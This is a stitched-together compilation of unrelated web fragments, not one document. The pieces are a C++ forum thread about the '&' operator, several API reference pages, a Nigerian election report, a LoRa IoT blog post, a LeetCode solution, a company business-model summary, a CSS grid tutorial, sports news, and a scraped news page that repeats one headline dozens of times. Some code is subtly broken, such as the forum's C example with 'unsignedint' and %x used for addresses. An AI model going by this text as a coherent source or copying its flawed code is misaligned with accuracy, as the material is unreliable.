& can bit change. & is also used for access and output of a memory address.
using "&&" is for logical statements.
1 2 3 4 5 6 7 8
if (r == 8 && r2 ==9)
// then do statement(s) here. if more than one statement below if, use braces
if (r == 8 && r2 == 9)
{
// 1st statement
// 2nd statement ...
}
Bitwise AND
The bitwise AND operator is a single ampersand: &. A handy mnemonic is
that the small version of the boolean AND, &&, works on smaller pieces (bits
instead of bytes, chars, integers, etc). In essence, a binary AND simply takes
the logical AND of the bits in each position of a number in binary form.
#include <stdio.h>
int main(void)
{
unsignedint a = 1, b = 2, c = 3;
printf("the memory address of a is 0x%x\n", &a);
printf("the memory address of b is 0x%x\n", &b);
printf("the memory address of c is 0x%x\n", &c);
return 0;
}
cpp.sh complains about a pointer is what looks like, the memory address display ok.
Line 2 shows a function that takes a reference (identified by the '&') as an argument.
Line 5 shows the '&' taking the address of x being passed to a function taking a pointer as an argument.
Edit: Also, the '&' does not "display" anything, just provides access to the address of a variable.
& helps access memory address of variable. char or integer.
Why are you specifically limiting this to char and integer variables? & before the name of an object or variable signifies the address of (or a pointer to) that object, regardless what type it is.
i did not declare a limit. helps access char or integer. & may have other uses. happy
MikeyBoy is upset. look into reference section(s) to see what other uses "&" may have.
there are a couple program examples above. how "&" is used for bits and hex memory address output.
responding:
who are you replying to zhuge?
int, char, string. typical data types. i did not mention float data type "0.00"
these pages for reading:
http://www.cplusplus.com/doc/tutorial/variables/
http://www.cprogramming.com/tutorial/c/lesson1.html
http://www.cprogramming.com/tutorial/lesson1.html
You should be more clear with what you are writing; unclear information can be highly detrimental when you are trying to answer someone's question. All your posts in this topic seem very hastily written and not well thought out, with only the most basic understanding of what you are saying evident. If English isn't your native language, I would politely request that you spend more time editing your work before posting it to improve readability and prevent these misunderstandings from occurring.


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Project: Huawei DSLAM
Description: QuickCalls and response maps useful for building system tests automating the Huawei DSLAM
Category: library
Class: Community
1 QuickCall Library in project://di_dslam_huawei
login
Login with the credentials for the device. Because these credentials may be different for each device, this QuickCall should be replicated for each device QuickCall library.
Also, enter the configuration mode and trun off alarm and event output.
show_slot
| Argument |
Description |
| slot |
SlotID |
show_inventory
show_adsl
show_vdsl


#KogiDecides2019: PDP’s Wada Rejects Result So Far Declared By INEC, Reveals Next Action
by Oladipo AbiolaWada Heads To Court Over Kogi Election Results
The governorship candidate of Peoples Democratic Party (PDP) in the November 16 governorship election in Kogi State, Engr. Musa Wada, has rejected results so far announced by INEC.
Wada and his running mate said the results so far released have been manipulated to suit the All Progressives Congress (APC) and its candidate, Yahaya Bello.
Naija News understands Governor Bello, has taken an early lead in results so far announced by the Independent National Electoral Commission.
Governor Bello is ahead of the other 23 candidates with over 200, 000 votes margin in 15 out of the 21 local government areas where results have been officially announced.
However, Wada who addressed newsmen in Lokoja on Sunday, rejected the results, alleging that the deputy governor of the state, Chief Edward Onoja with security agencies were moving freely and visiting collation centers where he changed results to favour his party.
He added that the PDP will challenge the result in court.
“The result is not true reflection of what happened. The people of the state voted for PDP but APC changed the result to favour them.
“Results declared so far by INEC is a written result and we can’t accept that. Every single result was change and we are going to challenge the election. The election is not true reflection of what happened in the field.
 I have to cry out to the people of Nigeria to know that APC rigged the election,” Wada said.


Module ratchet.socketpad
The socketpad library provides a layer on top of the ratchet.socket library to manage buffered socket IO. This allows for more familiar usages and easier implementation of binary and ASCII socket protocols. These functions can fail, see error handling section in manual for details.
Functions
| close (self) | Calls close() on the underlying socket, provided purely as convenience. |
| new (socket) | Returns a new socketpad object, using the given socket as the underlying engine to send and receive buffered IO. |
| peek (self) | Peeks at the current, full contents of the socket buffer, without updating or changing them. |
| recv (self, stop) | Attempts to receive a specific amount of data from the socket, receiving packets on the underlying socket until the criteria is met. |
| recv_remaining (self) | Returns all remaining data in the socket buffer, without actually checking for new data. |
| send (self, data, more) | Adds the given data to the send-buffer, and possibly flushes it to the underlying socket. |
| update_and_peek (self) | Calls for one single update of the socket buffer, and then returns the full contents of the buffer. |
Functions
- close (self)
-
Calls close() on the underlying socket, provided purely as convenience.
Parameters
- self: the socket object.
- new (socket)
-
Returns a new socketpad object, using the given socket as the underlying engine to send and receive buffered IO. The socket object is available in raw form as the "socket" field of the returned socketpad object. A table for storing misc information related to the socketpad is available in the "data" field of the returned socketpad object.
Parameters
- socket: A socket object to buffer.
Return value:
a new socketpad object. - peek (self)
-
Peeks at the current, full contents of the socket buffer, without updating or changing them.
Parameters
- self: the socketpad object.
Return value:
string of data currently in the socket buffer. - recv (self, stop)
-
Attempts to receive a specific amount of data from the socket, receiving packets on the underlying socket until the criteria is met.
Parameters
- self: the socketpad object.
- stop: if given as a number, this method will attempt to receive that many bytes on the socket and return exactly that many. If given as a string, the socket will receive until that string is seen, everything up-to and including that string is returned.
Return value:
string of data received on the socket, or nil followed by an error message. If the first return is not nil, the second returned value will be true if only part of the requested data was received before the connection was remotely closed. - recv_remaining (self)
-
Returns all remaining data in the socket buffer, without actually checking for new data. This function empties the socket buffer. It is useful for checking for extra data that came along with previous calls to recv().
Parameters
- self: the socketpad object.
Return value:
string of data cleared from the socket buffer. - send (self, data, more)
-
Adds the given data to the send-buffer, and possibly flushes it to the underlying socket.
Parameters
- self: the socketpad object.
- data: a string of data to send.
- more: flag specifying more data will be buffered, so the send-buffer will not be flushed until this parameter is false.
- update_and_peek (self)
-
Calls for one single update of the socket buffer, and then returns the full contents of the buffer. It is useful when you know new data is waiting on the socket but are not ready to do a full recv() on a criteria.
Parameters
- self: the socketpad object.
Return value:
string of data in the socket buffer after a single update.


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Tuesday - December 1, 2020
How DeepMind’s protein-folding breakthrough could transform drug development
by Saidat Giwa-Osagie
43 minutes ago
0
Tuesday - December 1, 2020
How DeepMind’s protein-folding breakthrough could transform drug development
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Tuesday - December 1, 2020
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Tuesday - December 1, 2020
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How DeepMind’s protein-folding breakthrough could transform drug development
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Infogrid
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on TechCrunch
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$15.5m
SERIES A
- Information Technology, +2
- North Zone, +4
Infogrid raises $15.5M from Northzone to retrofit buildings with ‘smart’ IoT
on TechCrunch
Infogrid
$15.5m
SERIES A
- North Zone, +4
Infogrid raises $15.5M from Northzone to retrofit buildings with ‘smart’ IoT
on TechCrunch
Infogrid
$15.5m
SERIES A
- North Zone, +4
Infogrid raises $15.5M from Northzone to retrofit buildings with ‘smart’ IoT
on TechCrunch
Infogrid
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- North Zone, +4
Infogrid raises $15.5M from Northzone to retrofit buildings with ‘smart’ IoT
on TechCrunch
Infogrid
$15.5m
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- North Zone, +4
Infogrid raises $15.5M from Northzone to retrofit buildings with ‘smart’ IoT
on TechCrunch
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- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
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- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
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- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
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by Saidat Giwa-Osagie
43 minutes ago
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
How DeepMind’s protein-folding breakthrough could transform drug development
by Saidat Giwa-Osagie
43 minutes ago
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
How DeepMind’s protein-folding breakthrough could transform drug development
by Saidat Giwa-Osagie
43 minutes ago
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
How DeepMind’s protein-folding breakthrough could transform drug development
by Saidat Giwa-Osagie
43 minutes ago
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
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by Saidat Giwa-Osagie
43 minutes ago
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
- Big Pharma's COVID-19 vaccines injected $1 trillion into the S&P 500
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The Complete Web Developer Coding Bundle
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The Google Analytics Master Class Bundle
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The 2020 Complete Digital Copywriting Master Class Bundle
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class EpicLibrary
extends java.lang.Object
| Constructor and Description |
|---|
EpicLibrary() |
| Modifier and Type | Method and Description |
|---|---|
static boolean[][] |
boolAnd(boolean[][] t1,
boolean[][] t2)
Creates a 2D boolean table, based on 2 given 2D boolean tables.
|
static boolean[][] |
boolNot(boolean[][] t)
Creates a copy of the given boolean table and applies logical negation to
all its cells.
|
static boolean[][] |
boolOr(boolean[][] t1,
boolean[][] t2)
Creates a 2D boolean table, based on 2 given 2D boolean tables.
|
static int |
calculateSize(boolean[][] t)
Calculates the number of cells in a given table of any shape.
|
static boolean[] |
convertBool2D1D(boolean[][] t)
Converts a 2D table into a 1D table.
|
static int |
countFalse(boolean[][] t)
Counts the number of false values appearing in an arbitrary 2D boolean
table.
|
static int |
countTrue(boolean[][] t)
Counts the number of true values appearing in an arbitrary 2D boolean
table.
|
static boolean[][] |
createSuperMatrix(boolean[][] t1,
boolean[][] t2)
Calculates a supermatrix of 2 input tables, with all cells initialized to
false.
|
static int[] |
findNumbers(java.lang.String input)
Extracts a list of decimal numbers from a given input string.
|
static boolean[][] |
generateBoolTable(int rows,
int cols,
int numTrue)
Generates a 2D boolean matrix of given dimensions, filled with a given
number of true values on random places.
|
static int |
getRandom(int a,
int b)
Generates a random number in the closed interval [a, b].
|
static boolean |
inBounds(boolean[][] table,
int i,
int j)
Checks whether a cell exists in a table.
|
static void |
shuffle1D(boolean[] t)
Shuffles a 1D table according to the Fisher-Yates algorithm.
|
static void |
shuffle2D(boolean[][] t)
Shuffles a 2D table according to the Fisher-Yates algorithm.
|
public static int getRandom(int a, int b)
a
- The lowest number that can be generated.b
- The highest number that can be generated (at least a).public static boolean[][] generateBoolTable(int rows, int cols, int numTrue)
rows
- The number of rows.cols
- The number of columns.numTrue
- The number of values that should be set to true.public static boolean[] convertBool2D1D(boolean[][] t)
t
- An arbitrary boolean table.public static int calculateSize(boolean[][] t)
t
- An arbitrary boolean table.public static void shuffle2D(boolean[][] t)
t
- An arbitrary 2D boolean table.public static void shuffle1D(boolean[] t)
t
- An arbitrary 1D boolean table.public static int countTrue(boolean[][] t)
t
- An arbitrary 2D boolean table.public static int countFalse(boolean[][] t)
t
- An arbitrary 2D boolean table.public static boolean[][] boolNot(boolean[][] t)
t
- An arbitrary 2D boolean table.public static boolean[][] boolAnd(boolean[][] t1, boolean[][] t2)
t1
- An arbitrary 2D boolean table.t2
- An arbitrary 2D boolean table.public static boolean[][] boolOr(boolean[][] t1, boolean[][] t2)
t1
- An arbitrary 2D boolean table.t2
- An arbitrary 2D boolean table.public static boolean[][] createSuperMatrix(boolean[][] t1, boolean[][] t2)
t1
- An arbitrary 2D boolean table.t2
- An arbitrary 2D boolean table.public static int[] findNumbers(java.lang.String input)
input
- The input string.public static boolean inBounds(boolean[][] table, int i, int j)
table
- Table in which to check the existance of a cell.i
- The row index.j
- The column index.true
if cell (i,j) exists; false
otherwise.


{include file="public/mall_top" /}
{:lang('pointcart_ensure_order')}
{:lang('pointcart_ensure_info')}
{:lang('pointcart_exchange_finish')}


Dealing with stress can be a hard thing to get rid of or even reduce. But, with a few steps, you can reduce your stress level. Some ideas to reduce your stress is keeking a stress journal and writing down what you felt and what caused you to stress, indulge in physical activity, more sleep, and even talking to someone to help reduce your stress levels. Also making some tea can even help with releiving some stress.
Questions?
Call
Suicidal thoughts can be4 caused by family violence, family history of suicide, trouble with law, under influence of drugs and alcohol, having a psychiatric disorder or mental illness, and possesing a gun or have tried to commit sucide. A hot line for suicidal thoughts is 1-800-273-8255.
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At first glance,Wi-Fi-based sensors seems like a good choice for a non consumer facing sensor network, however, we have discovered that Wi-Fi has some significant drawbacks.
Access
One of the biggest drawbacks to Wi-Fi enabled sensors in a corporate environment at many of the companies is gaining access. Corporate IT often has valid security concerns of hundreds if not thousands of sensors joining the network and have deployed corporate firewalls that block any access. Often this means that we are not allowed to spin up our own Wi-Fi network in order to have a gateway for a customer’s IoT sensor network. If IT has already deployed a Wi-Fi network they are rarely willing to provide the passwords to allow the IoT network devices and gateways to take advantage of it. Relying on corporate Wi-Fi can make on-site installations and maintenance extremely complex and painful. The whole project becomes dependent on the goodwill of a network administrator for access every time maintenance needs to be performed.
Power
Wi-Fi has good transmission range but that comes with a cost of high power usage. With a short battery life, maintenance costs for Wi-Fi sensors are higher than low-power alternatives. One wireless protocol that is we see in many successful deployments is LoRa because it offers long transmission range at a much lower battery usage than Wi-Fi.
Moving to LoRa and other long range protocols
If you follow our blog and publications, you will notice we have been talking a lot about network technologies, this isn’t a coincidence. We have spent a long time evaluating and piloting these stacks with our community.
Network access and battery constraints are driving the move to long range networks and off WiFi for many IoT installations. LoRa is working well for us so far for a number of use cases most of our customer spin up a private network. The ecosystem of providers is maturing and we are finding a lot of companies who are adopting existing sensors for their networks Gateway providers such as Multi Tech provide good support for the long tail of small scale (> 250 sensor installs) hardware providers to thrive.
LoRa is a wireless protocol that promises between two and five kilometers transmission range between sensors and gateway, if you haven’t already done so please read our introduction to what it is. With a separate LoRa network, facilities and/or operations can install and manage the whole operation without the access and security issues of using the corporate Wi-Fi network. A typical network will have hundreds of sensor devices sending messages to a gateway. The LoRa gateway is a self contained system, we can have the LoRa network sit completely outside of the corporate firewall (GSM) and minimize IT security concerns.
One LoRA gateway can normally cover an entire real estate. This can significantly reduce infrastructure, deployment, and administration costs compared to other shorter range wireless options like Zigbee or Bluetooth that requires complex installs. Our aim is to have a system that non technical engineers can roll out and support, more on how to do this on later blog posts, but in most cases the OpenSensors team is the equivalent of ‘2nd line support’ to the onsite team who have intergrated our apis to their helpdesk ticketing systems etc.
LoRa networks can be public or private. An example of a public network is The Things Network, we continue to work with and support that community. Most current commercial projects are running private networks at this time but will be interesting to see how that evolves over time.
To conclude, LoRa is working well for us at the moment but we will keep researching other networks to enable us to understand the pros and cons of all the network providers. Sigfox is a very interesting offering that we will properly test over the next few months, for example.


{% extends "layout.html" %} {% block content %}
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Pandurang Nanaware
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Class: Qpid::Proton::Handler::Adapter
- Inherits:
-
Object
- Object
- Qpid::Proton::Handler::Adapter
- Defined in:
- lib/handler/adapter.rb
Overview
Base adapter for raw proton events
Direct Known Subclasses
Class Method Summary collapse
-
.adapt(handler)
Create and return an adapter for handler, or return h if it does not need adapting.
-
.adapter(handler)
Adapter class if requested by handler, else default to MessagingHandler.
Instance Method Summary collapse
- #forward(method, *args)
-
#initialize(h) ⇒ Adapter
constructor
A new instance of Adapter.
-
#proton_adapter_class
Adapters don't need adapting.
Constructor Details
#initialize(h) ⇒ Adapter
Returns a new instance of Adapter.
55 |
# File 'lib/handler/adapter.rb', line 55 def initialize(h) @handler = h; end |
Class Method Details
.adapt(handler)
Create and return an adapter for handler, or return h if it does not need adapting.
58 59 60 61 62 63 64 |
# File 'lib/handler/adapter.rb', line 58 def self.adapt(handler) return unless handler a = Array(handler) h = (a.size == 1) ? a[0] : ArrayHandler.new(a) ac = adapter(h) ac ? ac.new(h) : h end |
.adapter(handler)
Adapter class if requested by handler, else default to MessagingHandler
67 68 69 |
# File 'lib/handler/adapter.rb', line 67 def self.adapter(handler) handler.respond_to?(:proton_adapter_class) ? handler.proton_adapter_class : MessagingAdapter end |
Instance Method Details
#forward(method, *args)
73 74 75 |
# File 'lib/handler/adapter.rb', line 73 def forward(method, *args) (@handler.__send__(method, *args); true) if @handler.respond_to? method end |
#proton_adapter_class
Adapters don't need adapting
71 |
# File 'lib/handler/adapter.rb', line 71 def proton_adapter_class() nil; end |


[gecode-users] iterating/filtering IntView
Kilian Sprotte
ml13 at onlinehome.de
Mon May 14 20:16:01 CEST 2007
Hi,
I am inside a propagate method of a binary propagator... :)
At some point, I know that x0 is assigned. What I would like to do is
to filter the domain of x1 using a given predicate function.
if (x0.assigned()) {
IntVarValues r1(x1);
while (r1()) {
if (!my_predicate(x0.val(), r1.val()))
GECODE_ME_CHECK(x1.nq(home, r1.val()))
++r1;
}
return ES_SUBSUMED;
It does not seem to be a good idea however to alter the view x1 while
iterating over it...(is it true that this should not be done/will
cause problems?)
Hhm, could anyone give me a hint, what I could use in order to do
this safely?
Thanks a lot,
Kilian
More information about the gecode-users
mailing list


|
Serial Wombat Arduino Library
|
A video is available for Getting Started with the Serial Wombat 4B using I2C:
https://www.youtube.com/embed/UZOnq2FdrvU
This library is designed for use with the Arduio platform.
The SerialWombat class is the basis for all sketches. Include SerialWombat.h to access all Serial Wombat classes.
One Serial Wombat instance should be declared for each Serial Wombat attached to the host. This is typically done by declaring it globally:
SerialWombat sw;
Once the Serial Wombat instance is declared, it must be initialized using the SerialWombat.begin() method. There are separate begin methods for I2C (Wire) and Uart (Serial):
sw.begin(Serial);
or
sw.begin(Wire, 0x6C); //I2C initialization with address 6C
Presense of a Serial wombat can be determined by testing the return value of the SerialWombat.queryVersion() method:
if (sw.queryVersion()) { //Serial Wombat chip detected. } else { //Serial Wombat chip not detected. }
Most Serial Wombat functionality is achieved through Pin Modes. Most pin modes are achieved by declaring an instance of a class for that pin mode with the Serial Wombat instance that pin mode will be attached to as a parameter. A .begin call with additional parameters is typically called during the Arduino setup() function.
The Serial Wombat chip can measure its own source voltage with the SerialWombat.readSupplyVoltage_mV method.
The Serial Wombat chip can report its Model and Firmware revision with the SerialWombat.queryVersion method.
The Serial Wombat chip can manage power consumption with the SerialWombat.sleep and SerialWombat.wake funcitons.
The Serial Wombat chip has a unique ID available through the SerialWombat.uniqueIdentifier property.


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injectionPointRegexp
Optional RegExp
, defaulting to
/(\.precacheAndRoute\()\s*\[\s*\]\s*(\))/
By default, the RegExp
used will find the string
precacheAndRoute([])
inside of your swSrc
file, and replace the
empty []
array with an array containing the
ManifestEntry
s
that should be precached.
If you want the
ManifestEntry
s
injected into a different part of your swSrc
file, then configure this to be a
different RegExp
containing two capture groups. The manifest array will be
injected in between the capture groups.
Example:
// Inject the manifest into a variable assignment: injectionPointRegexp: new RegExp('(const myManifest =)(;)')


The Lost Story of the Donauschwaben
Up and Down the Years is the story of the Donauschwaben, a German-speaking ethnic group who lived in Yugoslavia and other areas of southeastern Europe in the centuries leading up to World War II. Following the war, the Donauschwaben were expelled from their homes. They fled around the world, eventually settling into new homes. Today the Donauschwaben are dedicated to maintaining their heritage through cultural clubs, dance, and festivals.
This documentary was created by Ilyana Smith for her Girl Scout Gold Award, which she received in 2020. Ilyana dances in the Youth Group at the German Family Society of Akron.


array
hash table
union find
]
Leetcode 0128. Longest Consecutive Sequence
Problem statement
https://leetcode.com/problems/longest-consecutive-sequence/
Solution
One possible solution is to use Union Find, where we keep different sets of consecutive numbers and if needed, we update it, this can be done in O(n)
both time and memory, however it is a bit difficult to implement.
More simple way is to keep all numbers in set, and then try to find the longest group, because we have a quick way to check if given number inside our set or not. Imagine, that we have numbers 1, 100, 2, 3, 101, 6, 5, 4
and let us go through the steps of our algorithm to see how it works. The idea is always start with the start of our groups, that is if we have num - 1
in our set, we ignore this number and go to the next.
num = 1
, we checknum - 1 = 0
is inside our set? No, so we do nothing. Next step is to check if2
is here, then if3
is here, and so on. In this example we will reach6
, it means that we found group with length6
, so we can update our answer.num = 100
, we check if99
is here, it is not. Then we check101
,102
and so on. We found group with2
elements here.num = 2
, check if1
is here, yes - it is, so we do nothing, it is not the start of our group!num = 3, 101, 6, 5, 4
are all ignored, because it is not the start of the group.
Complexity
Even though we have while inside for loop, time complexity is linear: in fact we will work with each number at most twice. If we have consecutive sequence a, ..., b
, then we have one pass over data when we work with number a
and for each number from a+1
to b
we just check in O(1)
if previous number is here. Space complexity is O(n)
as well to keep our set of numbers.
Code
class Solution:
def longestConsecutive(self, nums):
set_nums, ans = set(nums), 0
for num in nums:
if num - 1 in set_nums: continue
nxt = num
while nxt + 1 in set_nums:
nxt += 1
ans = max(ans, nxt-num+1)
return ans


publicis-groupe
Businessmodel of Publicis Groupe
Customer Segments
Publicis Groupe has a mass market business model, with no significant differentiation between customers. The company targets its offerings at firms of all industries and sizes that seek advertising and public relations services.
Value Proposition
Publicis Groupe offers two primary value propositions: innovation and brand/status.
The company has a long history of innovation with many firsts, including the following:
- Rolled out one of the first ads to use a symbolic emblem to promote a product, rather than the product itself
- Introduced concept of institutional advertising, in which a firm discussed its business and manufacturing techniques, instead of its products
- Conductor of the first public opinion poll (similar to Gallup) in France
- Owner of the first radio station to establish regular news broadcasts in France The company has established a powerful brand as a result of its success. It is one of the “Big Four” ad agencies along with Omnicom, WPP, and Interpublic. It is the third largest communications group in the world by revenues, with 2015 earnings of €9.6 billion. It has over 1,375 sub-agencies and employs over 77,000 professionals in 108 countries. It has several prominent clients, including Best Buy, Comcast, Bristol-Myers Squibb, Honda, and Kraft. Lastly, it has won many honors, including “Holding Company of the Year” at the North American Effie Awards (2014), a #1 ranking in Creative Performance by the Gunn Report, and 16 Health Lions at the inaugural Lions Health Awards (2014).
Channels
Publicis Groupe’s main channel is its website. The company promotes its offering through its social media pages, advertising, and participation in conferences.
Customer Relationships
Publicis Groupe’s customer relationship is primarily of a personal assistance nature. Customers work closely with employees as they design their advertising and PR campaigns.
Key Activities
Publicis Groupe’s business model entails designing and developing its services for clients.
Key Partners
Publicis Groupe maintains strategic partnerships with a number of major firms; for example:
- An alliance with Wal-Mart through which the retailer has complete access to all of its agencies and resources. The two partner on various marketing and advertising efforts
- An alliance with Internet giant Tencent through which the two share data, partner on the development of web native content, and invest in startups The company also operates Publicis90, a program through which it will support 90 startups involved in digital projects with funding and mentoring. Specifically, it will offer equity funding ranging in the amount of 10,000 – 500,000 euros and a year of mentoring with company experts in the digital, marketing, and communication fields.
Key Resources
Publicis Groupe’s main resources are its human resources, who include content creators such as writers and artists who design and develop campaigns for clients.
The company also depends on its Shared Service Centers, which offer specialized financial services for internal clients in order to ensure the conformity of operations related to their activities.
Cost Structure
Publicis Groupe has a value-driven structure, aiming to provide a premium proposition through significant personal service. Its biggest cost driver is likely cost of services, a variable expense. Other major drivers are in the areas of sales/marketing and administration.
Revenue Streams
Publicis Groupe has one revenue stream: the fees it charges for its advertising and PR services.


atdampMatElem creates an element that applies the global damping matrix ELEM=ATDAMPMATELEM(FAMNAME,RING,CAVIPASS,BENDPASS,QUADPASS) FAMNAME: family name RING: initial AT structure, without radiation passmethods CAVIPASS: pass method for cavities (default ThinCavityPass) BENDPASS: pass method for bending magnets. Special values: '' makes no change, 'auto' wille substitute 'Pass' with 'RadPass' in any method (default: 'auto') QUADPASS: pass method for quadrupoles '' makes no change, 'auto' wille substitute 'Pass' with 'RadPass' in any method (default: '')
0001 function elem=atdampMatElem(fname,ring,varargin) 0002 % atdampMatElem creates an element that applies the global damping matrix 0003 %ELEM=ATDAMPMATELEM(FAMNAME,RING,CAVIPASS,BENDPASS,QUADPASS) 0004 % 0005 %FAMNAME: family name 0006 %RING: initial AT structure, without radiation passmethods 0007 %CAVIPASS: pass method for cavities (default ThinCavityPass) 0008 %BENDPASS: pass method for bending magnets. Special values: 0009 % '' makes no change, 0010 % 'auto' wille substitute 'Pass' with 'RadPass' in any method 0011 % (default: 'auto') 0012 %QUADPASS: pass method for quadrupoles 0013 % '' makes no change, 0014 % 'auto' wille substitute 'Pass' with 'RadPass' in any method 0015 % (default: '') 0016 % 0017 0018 0019 ringrad=atradon(ring,varargin{:}); 0020 0021 m66_norad=findm66(ring); 0022 m66_rad=findm66(ringrad); 0023 0024 elem=atM66(fname,m66_norad\m66_rad); 0025 end


As a very simple example we can take a grid with 3 column tracks and 3 row tracks. This gives us 4 lines in each dimension.
Inside our grid container I have four child elements. If we do not place these on to the grid in any way they will lay out according to the auto-placement rules, one item in each of the first four cells.
Positioning items by line number
We can use line-based placement to control where these items sit on the grid. I would like the first item to start on the far left of the grid and span a single column track. It should also start on the first row line, at the top of the grid and span to the fourth row line.
As you position some items, other items on the grid will continue to be laid out using the auto-placement rules. We will take a proper look at how these work in a later guide but you can see as you work that grid is laying out un-placed items into empty cells of the grid.
Addressing each item individually we can place all four items spanning row and column tracks. Note that we can leave cells empty if we wish. One of the very nice things about Grid Layout is this ability to have white space in our designs without having to push things around using margins to prevent floats from rising up into the space we have left.


Past Olympic hurdles champ aims for Tokyo
Washington - American 100m hurdler Dawn Harper Nelson, the 2008 Olympic champion and 2012 Olympic runner-up who retired to have a baby, said Monday she is training for next year's Tokyo Olympics.
The 35-year-old from suburban St. Louis was second to Australia's Sally Pearson at the 2017 World Championships but missed this year's meet after giving birth to a baby girl last April.
Harper Nelson stepped away from the sport in September 2018 but worked out during her pregnancy and returned to the track a month after giving birth.
"I still think I have it and I can kill it," Harper Nelson said in a posting on the US Olympic website.
"All the women in my life had said when they were moms they stopped their dream. Once I had my daughter, I looked at her and I remember thinking, 'I still have this yearn to run.'
"And I refuse for her to say, when she looked at my career, 'My mom always said she wanted to keep running, but she stopped because she had me.'"
Harper Nelson overtook teammate Lolo Jones late to capture gold in Beijing 11 years ago and settled for silver in London behind Pearson four years later.
She kept herself available for drug testing during her year off and told US Olympic broadcaster NBC she has spoken with New Zealand shot putter Valerie Adams, a two-time Olympic champion, who was pregnant with her second child during Harper Nelson's pregnancy.
But Harper Nelson struggled at first with speed and doubt.
"That initial burst of speed to get off the line, it just was lacking," Harper Nelson said. "I really had a moment where I sat down and kind of cried. I was thinking, 'Do you ever really get that back? Is it possible?'
"We slowly just gradually did things and gradually got myself back."
But medical advisors said allowing her body some rest helped her feel her best in years.
Husband Alonzo Nelson will be her coach while she trains on her high school track in East St. Louis, Illinois, in what is likely a one-year comeback.
"I really do feel like this would probably be it because we want more kids," she told NBC.


MPI functions sometimes use arguments with a choice (or union) data type. Distinct calls to the same routine may pass by reference actual arguments of different types. The mechanism for providing such arguments will differ from language to language. For Fortran, the document uses <type> to represent a choice variable; for C and C++, we use void *.


A resort is usually spread out over more land compared to a hotel. ... The characteristic of resort is that it combines a hotel and a variety of recreations; it serves food, drink, lodging, sports, entertainment, relaxation such as spa and shopping. Generally, hotels located inside resorts are known as resort hotels.


Hello, my name is John. I am a developer and student at UNF. I have passion for data science and full stack development. I am currently based in Jacksonville,FL.
I have a diverse set of skills, ranging from frontend HTML + CSS + Javascript to backend Java, Python, and C.
Learn more about me here.


Vue-Vanilla is a vue-loader full featured library that allows single file components without additional tools.
Features
- Lazy (or eager) loading
- Functional components
- Require dependent JS or CSS
- Custom template/script/css transformers that allow CSS vars
Using Vue Vanilla is simple. There is no requirejs, amd, commonjs requirement. No babbel, webpack, webpack2, browserify, or nodejs. It's just vanilla JavaScript.
Download the library, load it via a script tag, and get going!
This library currently is not served on any CDN's (see https://github.com/cdnjs/cdnjs/blob/master/CONTRIBUTING.md#b-request-a-new-library) But that won't stop you from downloading the library and dropping it into your project!
It is required to have a browser or polyfill for the Promises and fetch apis. As far as browser compatibilities go, ie9+ requires the fetch and promise polyfill:
By default, all resources are split up into two categories: lib and vue.
Vue resources come from $basePath/vue/component-name.vue.html.
Lib resources come from $basePath/vendor/library-path.
However, you can specify other locations for your component if you want to be more organized or if your component has a conflicting js object name:
Designing components is intended to be easy. All that's needed is a file with a script and a template.
The script must define a window-level javascript name of the component.
Sometimes, when you load a component, you need to be sure that you have all of the required libraries and css scripts loaded.
By wrapping your component definition in an object with a require and then property, your component will try to load the scripts and styles first.
Styles will not be loaded by the importer twice.
If the key of the script, 'jQuery' in this case, is present, then it will not attempt to load it.
If you are worried about version conflicts, then this library's opinion is that you are already dealing with too much dependency sprawl and should reduce your JavaScript usage.
Often, you want to show a loading screen while the components are being remotely loaded. To do this, you can add a listener to the importVueComponent:
Whenever the importVueComponent registers a component, it immediately tries to load it. This can be undesirable for large projects, or large routed applications, as it unnecessarily grabs resources and takes time. To turn this off, you can set the importVueComponent.lazy flag to false:
However, when doing so, it is recommended to track the loading state of the importer to tell when child components might be ready:
When using importVueComponent, you can specify to load some things lazily, the stub in place will either be the Component (when it's loaded) or a callback function:


--- layout: post status: publish published: true title: 'MSMQ & MSMQT Installation Side by Side: Registry Keys' author: display_name: Tomas Restrepo login: tomasr email<EMAIL_ADDRESS>url: http://winterdom.com/ author_login: tomasr author_email<EMAIL_ADDRESS>author_url: http://winterdom.com/ wordpress_id: 85 wordpress_url: http://winterdom.com/2005/05/msmqampmsmqtinstallationsidebysideregistrykeys date: '2005-05-31 15:52:21 +0000' date_gmt: '2005-05-31 15:52:21 +0000' categories: - BizTalk tags: [] comments: [] ---
